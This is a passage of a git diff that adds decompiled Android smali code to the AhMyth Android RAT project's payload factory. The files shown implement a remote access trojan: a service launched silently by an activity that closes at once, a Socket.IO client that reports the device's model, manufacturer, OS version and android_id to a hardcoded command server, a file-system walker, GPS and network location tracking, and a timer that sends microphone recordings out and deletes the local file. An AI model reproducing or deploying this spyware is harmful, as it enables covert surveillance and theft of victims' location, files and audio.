+ new-array v8, v8, [Ljava/lang/Object;
+
+ const/4 v9, 0x0
+
+ aput-object v4, v8, v9
+
+ invoke-virtual {v6, v7, v8}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 82
+ invoke-virtual {v0}, Ljava/io/BufferedInputStream;->close()V
+ :try_end_0
+ .catch Ljava/io/FileNotFoundException; {:try_start_0 .. :try_end_0} :catch_0
+ .catch Ljava/io/IOException; {:try_start_0 .. :try_end_0} :catch_1
+ .catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_2
+
+ goto :goto_0
+
+ .line 83
+ .end local v0 # "buf":Ljava/io/BufferedInputStream;
+ .end local v4 # "object":Lorg/json/JSONObject;
+ :catch_0
+ move-exception v2
+
+ .line 84
+ .local v2, "e":Ljava/io/FileNotFoundException;
+ invoke-virtual {v2}, Ljava/io/FileNotFoundException;->printStackTrace()V
+
+ goto :goto_0
+
+ .line 85
+ .end local v2 # "e":Ljava/io/FileNotFoundException;
+ :catch_1
+ move-exception v2
+
+ .line 86
+ .local v2, "e":Ljava/io/IOException;
+ invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V
+
+ goto :goto_0
+
+ .line 87
+ .end local v2 # "e":Ljava/io/IOException;
+ :catch_2
+ move-exception v2
+
+ .line 88
+ .local v2, "e":Lorg/json/JSONException;
+ invoke-virtual {v2}, Lorg/json/JSONException;->printStackTrace()V
+
+ goto :goto_0
+.end method
+
+.method public static walk(Ljava/lang/String;)Lorg/json/JSONArray;
+ .locals 11
+ .param p0, "path" # Ljava/lang/String;
+
+ .prologue
+ .line 31
+ new-instance v6, Lorg/json/JSONArray;
+
+ invoke-direct {v6}, Lorg/json/JSONArray;->()V
+
+ .line 32
+ .local v6, "values":Lorg/json/JSONArray;
+ new-instance v0, Ljava/io/File;
+
+ invoke-direct {v0, p0}, Ljava/io/File;->(Ljava/lang/String;)V
+
+ .line 33
+ .local v0, "dir":Ljava/io/File;
+ invoke-virtual {v0}, Ljava/io/File;->canRead()Z
+
+ move-result v7
+
+ if-nez v7, :cond_0
+
+ .line 34
+ const-string v7, "cannot"
+
+ const-string v8, "inaccessible"
+
+ invoke-static {v7, v8}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
+
+ .line 37
+ :cond_0
+ invoke-virtual {v0}, Ljava/io/File;->listFiles()[Ljava/io/File;
+
+ move-result-object v4
+
+ .line 39
+ .local v4, "list":[Ljava/io/File;
+ if-eqz v4, :cond_2
+
+ .line 40
+ :try_start_0
+ new-instance v5, Lorg/json/JSONObject;
+
+ invoke-direct {v5}, Lorg/json/JSONObject;->()V
+
+ .line 41
+ .local v5, "parenttObj":Lorg/json/JSONObject;
+ const-string v7, "name"
+
+ const-string v8, "../"
+
+ invoke-virtual {v5, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 42
+ const-string v7, "isDir"
+
+ const/4 v8, 0x1
+
+ invoke-virtual {v5, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
+
+ .line 43
+ const-string v7, "path"
+
+ invoke-virtual {v0}, Ljava/io/File;->getParent()Ljava/lang/String;
+
+ move-result-object v8
+
+ invoke-virtual {v5, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 44
+ invoke-virtual {v6, v5}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
+
+ .line 45
+ array-length v8, v4
+
+ const/4 v7, 0x0
+
+ :goto_0
+ if-ge v7, v8, :cond_2
+
+ aget-object v2, v4, v7
+
+ .line 46
+ .local v2, "file":Ljava/io/File;
+ invoke-virtual {v2}, Ljava/io/File;->getName()Ljava/lang/String;
+
+ move-result-object v9
+
+ const-string v10, "."
+
+ invoke-virtual {v9, v10}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
+
+ move-result v9
+
+ if-nez v9, :cond_1
+
+ .line 47
+ new-instance v3, Lorg/json/JSONObject;
+
+ invoke-direct {v3}, Lorg/json/JSONObject;->()V
+
+ .line 48
+ .local v3, "fileObj":Lorg/json/JSONObject;
+ const-string v9, "name"
+
+ invoke-virtual {v2}, Ljava/io/File;->getName()Ljava/lang/String;
+
+ move-result-object v10
+
+ invoke-virtual {v3, v9, v10}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 49
+ const-string v9, "isDir"
+
+ invoke-virtual {v2}, Ljava/io/File;->isDirectory()Z
+
+ move-result v10
+
+ invoke-virtual {v3, v9, v10}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
+
+ .line 50
+ const-string v9, "path"
+
+ invoke-virtual {v2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
+
+ move-result-object v10
+
+ invoke-virtual {v3, v9, v10}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 51
+ invoke-virtual {v6, v3}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
+ :try_end_0
+ .catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 45
+ .end local v3 # "fileObj":Lorg/json/JSONObject;
+ :cond_1
+ add-int/lit8 v7, v7, 0x1
+
+ goto :goto_0
+
+ .line 56
+ .end local v2 # "file":Ljava/io/File;
+ .end local v5 # "parenttObj":Lorg/json/JSONObject;
+ :catch_0
+ move-exception v1
+
+ .line 57
+ .local v1, "e":Lorg/json/JSONException;
+ invoke-virtual {v1}, Lorg/json/JSONException;->printStackTrace()V
+
+ .line 61
+ .end local v1 # "e":Lorg/json/JSONException;
+ :cond_2
+ return-object v6
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/IOSocket.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/IOSocket.smali
new file mode 100644
index 00000000..c3dc3672
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/IOSocket.smali
@@ -0,0 +1,178 @@
+.class public Lahmyth/mine/king/ahmyth/IOSocket;
+.super Ljava/lang/Object;
+.source "IOSocket.java"
+
+
+# static fields
+.field private static ourInstance:Lahmyth/mine/king/ahmyth/IOSocket;
+
+
+# instance fields
+.field private ioSocket:Lio/socket/client/Socket;
+
+
+# direct methods
+.method static constructor ()V
+ .locals 1
+
+ .prologue
+ .line 18
+ new-instance v0, Lahmyth/mine/king/ahmyth/IOSocket;
+
+ invoke-direct {v0}, Lahmyth/mine/king/ahmyth/IOSocket;->()V
+
+ sput-object v0, Lahmyth/mine/king/ahmyth/IOSocket;->ourInstance:Lahmyth/mine/king/ahmyth/IOSocket;
+
+ return-void
+.end method
+
+.method private constructor ()V
+ .locals 6
+
+ .prologue
+ .line 23
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ .line 26
+ :try_start_0
+ invoke-static {}, Lahmyth/mine/king/ahmyth/MainService;->getContextOfApplication()Landroid/content/Context;
+
+ move-result-object v3
+
+ invoke-virtual {v3}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
+
+ move-result-object v3
+
+ const-string v4, "android_id"
+
+ invoke-static {v3, v4}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v0
+
+ .line 27
+ .local v0, "deviceID":Ljava/lang/String;
+ new-instance v2, Lio/socket/client/IO$Options;
+
+ invoke-direct {v2}, Lio/socket/client/IO$Options;->()V
+
+ .line 28
+ .local v2, "opts":Lio/socket/client/IO$Options;
+ const/4 v3, 0x1
+
+ iput-boolean v3, v2, Lio/socket/client/IO$Options;->reconnection:Z
+
+ .line 29
+ const-wide/16 v4, 0x1388
+
+ iput-wide v4, v2, Lio/socket/client/IO$Options;->reconnectionDelay:J
+
+ .line 30
+ const-wide/32 v4, 0x3b9ac9ff
+
+ iput-wide v4, v2, Lio/socket/client/IO$Options;->reconnectionDelayMax:J
+
+ .line 32
+ new-instance v3, Ljava/lang/StringBuilder;
+
+ invoke-direct {v3}, Ljava/lang/StringBuilder;->()V
+
+ const-string v4, "http://192.168.8.100:42474?model="
+
+ invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
+
+ move-result-object v3
+
+ sget-object v4, Landroid/os/Build;->MODEL:Ljava/lang/String;
+
+ invoke-static {v4}, Landroid/net/Uri;->encode(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v4
+
+ invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
+
+ move-result-object v3
+
+ const-string v4, "&manf="
+
+ invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
+
+ move-result-object v3
+
+ sget-object v4, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
+
+ invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
+
+ move-result-object v3
+
+ const-string v4, "&release="
+
+ invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
+
+ move-result-object v3
+
+ sget-object v4, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
+
+ invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
+
+ move-result-object v3
+
+ const-string v4, "&id="
+
+ invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
+
+ move-result-object v3
+
+ invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
+
+ move-result-object v3
+
+ invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
+
+ move-result-object v3
+
+ invoke-static {v3}, Lio/socket/client/IO;->socket(Ljava/lang/String;)Lio/socket/client/Socket;
+
+ move-result-object v3
+
+ iput-object v3, p0, Lahmyth/mine/king/ahmyth/IOSocket;->ioSocket:Lio/socket/client/Socket;
+ :try_end_0
+ .catch Ljava/net/URISyntaxException; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 36
+ .end local v0 # "deviceID":Ljava/lang/String;
+ .end local v2 # "opts":Lio/socket/client/IO$Options;
+ :goto_0
+ return-void
+
+ .line 33
+ :catch_0
+ move-exception v1
+
+ .line 34
+ .local v1, "e":Ljava/net/URISyntaxException;
+ invoke-virtual {v1}, Ljava/net/URISyntaxException;->printStackTrace()V
+
+ goto :goto_0
+.end method
+
+.method public static getInstance()Lahmyth/mine/king/ahmyth/IOSocket;
+ .locals 1
+
+ .prologue
+ .line 40
+ sget-object v0, Lahmyth/mine/king/ahmyth/IOSocket;->ourInstance:Lahmyth/mine/king/ahmyth/IOSocket;
+
+ return-object v0
+.end method
+
+
+# virtual methods
+.method public getIoSocket()Lio/socket/client/Socket;
+ .locals 1
+
+ .prologue
+ .line 44
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/IOSocket;->ioSocket:Lio/socket/client/Socket;
+
+ return-object v0
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/LocManager.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/LocManager.smali
new file mode 100644
index 00000000..e292ac33
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/LocManager.smali
@@ -0,0 +1,412 @@
+.class public Lahmyth/mine/king/ahmyth/LocManager;
+.super Ljava/lang/Object;
+.source "LocManager.java"
+
+# interfaces
+.implements Landroid/location/LocationListener;
+
+
+# static fields
+.field private static final MIN_DISTANCE_CHANGE_FOR_UPDATES:J = 0xaL
+
+.field private static final MIN_TIME_BW_UPDATES:J = 0xea60L
+
+
+# instance fields
+.field canGetLocation:Z
+
+.field isGPSEnabled:Z
+
+.field isNetworkEnabled:Z
+
+.field latitude:D
+
+.field location:Landroid/location/Location;
+
+.field protected locationManager:Landroid/location/LocationManager;
+
+.field longitude:D
+
+.field private final mContext:Landroid/content/Context;
+
+
+# direct methods
+.method public constructor ()V
+ .locals 1
+
+ .prologue
+ const/4 v0, 0x0
+
+ .line 35
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ .line 19
+ iput-boolean v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->isGPSEnabled:Z
+
+ .line 21
+ iput-boolean v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->isNetworkEnabled:Z
+
+ .line 23
+ iput-boolean v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->canGetLocation:Z
+
+ .line 36
+ const/4 v0, 0x0
+
+ iput-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->mContext:Landroid/content/Context;
+
+ .line 37
+ return-void
+.end method
+
+.method public constructor (Landroid/content/Context;)V
+ .locals 1
+ .param p1, "context" # Landroid/content/Context;
+
+ .prologue
+ const/4 v0, 0x0
+
+ .line 40
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ .line 19
+ iput-boolean v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->isGPSEnabled:Z
+
+ .line 21
+ iput-boolean v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->isNetworkEnabled:Z
+
+ .line 23
+ iput-boolean v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->canGetLocation:Z
+
+ .line 41
+ iput-object p1, p0, Lahmyth/mine/king/ahmyth/LocManager;->mContext:Landroid/content/Context;
+
+ .line 42
+ invoke-virtual {p0}, Lahmyth/mine/king/ahmyth/LocManager;->getLocation()Landroid/location/Location;
+
+ .line 43
+ return-void
+.end method
+
+
+# virtual methods
+.method public canGetLocation()Z
+ .locals 1
+
+ .prologue
+ .line 142
+ iget-boolean v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->canGetLocation:Z
+
+ return v0
+.end method
+
+.method public getLatitude()D
+ .locals 2
+
+ .prologue
+ .line 115
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->location:Landroid/location/Location;
+
+ if-eqz v0, :cond_0
+
+ .line 116
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->location:Landroid/location/Location;
+
+ invoke-virtual {v0}, Landroid/location/Location;->getLatitude()D
+
+ move-result-wide v0
+
+ iput-wide v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->latitude:D
+
+ .line 120
+ :cond_0
+ iget-wide v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->latitude:D
+
+ return-wide v0
+.end method
+
+.method public getLocation()Landroid/location/Location;
+ .locals 7
+
+ .prologue
+ .line 48
+ :try_start_0
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->mContext:Landroid/content/Context;
+
+ const-string v1, "location"
+
+ invoke-virtual {v0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
+
+ move-result-object v0
+
+ check-cast v0, Landroid/location/LocationManager;
+
+ iput-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->locationManager:Landroid/location/LocationManager;
+
+ .line 50
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->locationManager:Landroid/location/LocationManager;
+
+ const-string v1, "gps"
+
+ invoke-virtual {v0, v1}, Landroid/location/LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
+
+ move-result v0
+
+ iput-boolean v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->isGPSEnabled:Z
+
+ .line 52
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->locationManager:Landroid/location/LocationManager;
+
+ const-string v1, "network"
+
+ invoke-virtual {v0, v1}, Landroid/location/LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
+
+ move-result v0
+
+ iput-boolean v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->isNetworkEnabled:Z
+
+ .line 54
+ iget-boolean v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->isGPSEnabled:Z
+
+ if-nez v0, :cond_0
+
+ iget-boolean v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->isNetworkEnabled:Z
+
+ if-eqz v0, :cond_2
+
+ .line 56
+ :cond_0
+ const/4 v0, 0x1
+
+ iput-boolean v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->canGetLocation:Z
+
+ .line 59
+ iget-boolean v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->isNetworkEnabled:Z
+
+ if-eqz v0, :cond_1
+
+ .line 60
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->locationManager:Landroid/location/LocationManager;
+
+ const-string v1, "network"
+
+ const-wide/32 v2, 0xea60
+
+ const/high16 v4, 0x41200000 # 10.0f
+
+ move-object v5, p0
+
+ invoke-virtual/range {v0 .. v5}, Landroid/location/LocationManager;->requestLocationUpdates(Ljava/lang/String;JFLandroid/location/LocationListener;)V
+
+ .line 62
+ const-string v0, "Network"
+
+ const-string v1, "Network"
+
+ invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
+
+ .line 63
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->locationManager:Landroid/location/LocationManager;
+
+ if-eqz v0, :cond_1
+
+ .line 64
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->locationManager:Landroid/location/LocationManager;
+
+ const-string v1, "network"
+
+ invoke-virtual {v0, v1}, Landroid/location/LocationManager;->getLastKnownLocation(Ljava/lang/String;)Landroid/location/Location;
+
+ move-result-object v0
+
+ iput-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->location:Landroid/location/Location;
+
+ .line 66
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->location:Landroid/location/Location;
+
+ if-eqz v0, :cond_1
+
+ .line 67
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->location:Landroid/location/Location;
+
+ invoke-virtual {v0}, Landroid/location/Location;->getLatitude()D
+
+ move-result-wide v0
+
+ iput-wide v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->latitude:D
+
+ .line 68
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->location:Landroid/location/Location;
+
+ invoke-virtual {v0}, Landroid/location/Location;->getLongitude()D
+
+ move-result-wide v0
+
+ iput-wide v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->longitude:D
+
+ .line 74
+ :cond_1
+ iget-boolean v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->isGPSEnabled:Z
+
+ if-eqz v0, :cond_2
+
+ .line 75
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->location:Landroid/location/Location;
+
+ if-nez v0, :cond_2
+
+ .line 76
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->locationManager:Landroid/location/LocationManager;
+
+ const-string v1, "gps"
+
+ const-wide/32 v2, 0xea60
+
+ const/high16 v4, 0x41200000 # 10.0f
+
+ move-object v5, p0
+
+ invoke-virtual/range {v0 .. v5}, Landroid/location/LocationManager;->requestLocationUpdates(Ljava/lang/String;JFLandroid/location/LocationListener;)V
+
+ .line 79
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->locationManager:Landroid/location/LocationManager;
+
+ if-eqz v0, :cond_2
+
+ .line 80
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->locationManager:Landroid/location/LocationManager;
+
+ const-string v1, "gps"
+
+ invoke-virtual {v0, v1}, Landroid/location/LocationManager;->getLastKnownLocation(Ljava/lang/String;)Landroid/location/Location;
+
+ move-result-object v0
+
+ iput-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->location:Landroid/location/Location;
+
+ .line 82
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->location:Landroid/location/Location;
+
+ if-eqz v0, :cond_2
+
+ .line 83
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->location:Landroid/location/Location;
+
+ invoke-virtual {v0}, Landroid/location/Location;->getLatitude()D
+
+ move-result-wide v0
+
+ iput-wide v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->latitude:D
+
+ .line 84
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->location:Landroid/location/Location;
+
+ invoke-virtual {v0}, Landroid/location/Location;->getLongitude()D
+
+ move-result-wide v0
+
+ iput-wide v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->longitude:D
+ :try_end_0
+ .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 95
+ :cond_2
+ :goto_0
+ invoke-virtual {p0}, Lahmyth/mine/king/ahmyth/LocManager;->stopUsingGPS()V
+
+ .line 96
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->location:Landroid/location/Location;
+
+ return-object v0
+
+ .line 91
+ :catch_0
+ move-exception v6
+
+ .line 92
+ .local v6, "e":Ljava/lang/Exception;
+ invoke-virtual {v6}, Ljava/lang/Exception;->printStackTrace()V
+
+ goto :goto_0
+.end method
+
+.method public getLongitude()D
+ .locals 2
+
+ .prologue
+ .line 128
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->location:Landroid/location/Location;
+
+ if-eqz v0, :cond_0
+
+ .line 129
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->location:Landroid/location/Location;
+
+ invoke-virtual {v0}, Landroid/location/Location;->getLongitude()D
+
+ move-result-wide v0
+
+ iput-wide v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->longitude:D
+
+ .line 133
+ :cond_0
+ iget-wide v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->longitude:D
+
+ return-wide v0
+.end method
+
+.method public onLocationChanged(Landroid/location/Location;)V
+ .locals 0
+ .param p1, "location" # Landroid/location/Location;
+
+ .prologue
+ .line 149
+ return-void
+.end method
+
+.method public onProviderDisabled(Ljava/lang/String;)V
+ .locals 0
+ .param p1, "provider" # Ljava/lang/String;
+
+ .prologue
+ .line 153
+ return-void
+.end method
+
+.method public onProviderEnabled(Ljava/lang/String;)V
+ .locals 0
+ .param p1, "provider" # Ljava/lang/String;
+
+ .prologue
+ .line 157
+ return-void
+.end method
+
+.method public onStatusChanged(Ljava/lang/String;ILandroid/os/Bundle;)V
+ .locals 0
+ .param p1, "provider" # Ljava/lang/String;
+ .param p2, "status" # I
+ .param p3, "extras" # Landroid/os/Bundle;
+
+ .prologue
+ .line 161
+ return-void
+.end method
+
+.method public stopUsingGPS()V
+ .locals 1
+
+ .prologue
+ .line 105
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->locationManager:Landroid/location/LocationManager;
+
+ if-eqz v0, :cond_0
+
+ .line 106
+ iget-object v0, p0, Lahmyth/mine/king/ahmyth/LocManager;->locationManager:Landroid/location/LocationManager;
+
+ invoke-virtual {v0, p0}, Landroid/location/LocationManager;->removeUpdates(Landroid/location/LocationListener;)V
+
+ .line 108
+ :cond_0
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/MainActivity.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/MainActivity.smali
new file mode 100644
index 00000000..f867eb24
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/MainActivity.smali
@@ -0,0 +1,46 @@
+.class public Lahmyth/mine/king/ahmyth/MainActivity;
+.super Landroid/app/Activity;
+.source "MainActivity.java"
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .prologue
+ .line 14
+ invoke-direct {p0}, Landroid/app/Activity;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method protected onCreate(Landroid/os/Bundle;)V
+ .locals 2
+ .param p1, "savedInstanceState" # Landroid/os/Bundle;
+
+ .prologue
+ .line 20
+ invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
+
+ .line 21
+ const/high16 v0, 0x7f030000
+
+ invoke-virtual {p0, v0}, Lahmyth/mine/king/ahmyth/MainActivity;->setContentView(I)V
+
+ .line 22
+ new-instance v0, Landroid/content/Intent;
+
+ const-class v1, Lahmyth/mine/king/ahmyth/MainService;
+
+ invoke-direct {v0, p0, v1}, Landroid/content/Intent;->(Landroid/content/Context;Ljava/lang/Class;)V
+
+ invoke-virtual {p0, v0}, Lahmyth/mine/king/ahmyth/MainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
+
+ .line 23
+ invoke-virtual {p0}, Lahmyth/mine/king/ahmyth/MainActivity;->finish()V
+
+ .line 24
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/MainService.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/MainService.smali
new file mode 100644
index 00000000..d185bb3d
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/MainService.smali
@@ -0,0 +1,73 @@
+.class public Lahmyth/mine/king/ahmyth/MainService;
+.super Landroid/app/Service;
+.source "MainService.java"
+
+
+# static fields
+.field private static contextOfApplication:Landroid/content/Context;
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .prologue
+ .line 14
+ invoke-direct {p0}, Landroid/app/Service;->()V
+
+ .line 15
+ return-void
+.end method
+
+.method public static getContextOfApplication()Landroid/content/Context;
+ .locals 1
+
+ .prologue
+ .line 41
+ sget-object v0, Lahmyth/mine/king/ahmyth/MainService;->contextOfApplication:Landroid/content/Context;
+
+ return-object v0
+.end method
+
+
+# virtual methods
+.method public onBind(Landroid/content/Intent;)Landroid/os/IBinder;
+ .locals 1
+ .param p1, "intent" # Landroid/content/Intent;
+
+ .prologue
+ .line 21
+ const/4 v0, 0x0
+
+ return-object v0
+.end method
+
+.method public onDestroy()V
+ .locals 0
+
+ .prologue
+ .line 35
+ invoke-super {p0}, Landroid/app/Service;->onDestroy()V
+
+ .line 36
+ return-void
+.end method
+
+.method public onStartCommand(Landroid/content/Intent;II)I
+ .locals 1
+ .param p1, "paramIntent" # Landroid/content/Intent;
+ .param p2, "paramInt1" # I
+ .param p3, "paramInt2" # I
+
+ .prologue
+ .line 28
+ sput-object p0, Lahmyth/mine/king/ahmyth/MainService;->contextOfApplication:Landroid/content/Context;
+
+ .line 29
+ invoke-static {p0}, Lahmyth/mine/king/ahmyth/ConnectionManager;->startAsync(Landroid/content/Context;)V
+
+ .line 30
+ const/4 v0, 0x1
+
+ return v0
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/MicManager$1.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/MicManager$1.smali
new file mode 100644
index 00000000..59509a7f
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/MicManager$1.smali
@@ -0,0 +1,57 @@
+.class final Lahmyth/mine/king/ahmyth/MicManager$1;
+.super Ljava/util/TimerTask;
+.source "MicManager.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lahmyth/mine/king/ahmyth/MicManager;->startRecording(I)V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x8
+ name = null
+.end annotation
+
+
+# direct methods
+.method constructor ()V
+ .locals 0
+
+ .prologue
+ .line 64
+ invoke-direct {p0}, Ljava/util/TimerTask;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+ .locals 1
+
+ .prologue
+ .line 68
+ sget-object v0, Lahmyth/mine/king/ahmyth/MicManager;->recorder:Landroid/media/MediaRecorder;
+
+ invoke-virtual {v0}, Landroid/media/MediaRecorder;->stop()V
+
+ .line 69
+ sget-object v0, Lahmyth/mine/king/ahmyth/MicManager;->recorder:Landroid/media/MediaRecorder;
+
+ invoke-virtual {v0}, Landroid/media/MediaRecorder;->release()V
+
+ .line 70
+ sget-object v0, Lahmyth/mine/king/ahmyth/MicManager;->audiofile:Ljava/io/File;
+
+ # invokes: Lahmyth/mine/king/ahmyth/MicManager;->sendVoice(Ljava/io/File;)V
+ invoke-static {v0}, Lahmyth/mine/king/ahmyth/MicManager;->access$000(Ljava/io/File;)V
+
+ .line 71
+ sget-object v0, Lahmyth/mine/king/ahmyth/MicManager;->audiofile:Ljava/io/File;
+
+ invoke-virtual {v0}, Ljava/io/File;->delete()Z
+
+ .line 72
+ return-void
+.end method
